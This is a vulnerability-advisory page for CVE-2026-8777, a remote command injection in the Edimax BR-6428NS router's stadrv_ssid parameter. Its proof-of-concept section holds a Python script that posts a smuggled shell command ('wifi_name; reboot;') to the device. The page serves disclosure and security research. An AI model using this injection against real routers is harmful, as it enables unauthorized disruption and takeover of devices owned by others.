Security Vulnerability Report
中文
CVE-2026-8777 CVSS 6.3 MEDIUM

CVE-2026-8777

Published: 2026-05-18 02:16:37
Last Modified: 2026-05-18 02:16:37

Description

A vulnerability was found in Edimax BR-6428NS 1.10. This issue affects the function formStaDrvSetup of the file /goform/formStaDrvSetup of the component POST Request Handler. Performing a manipulation of the argument stadrv_ssid results in command injection. The attack can be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Edimax BR-6428NS 1.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (replace with actual IP) target_url = "http://192.168.1.1/goform/formStaDrvSetup" # The vulnerable parameter # Payload example: Reboot command injection # Using ';' to separate commands in shell malicious_ssid = "wifi_name; reboot;" # Data to be sent in the POST request payload_data = { "stadrv_ssid": malicious_ssid, # Other required parameters might be needed depending on the form structure } try: # Sending the request (cookies may be required for authentication) response = requests.post(target_url, data=payload_data, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if the device rebooted or command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
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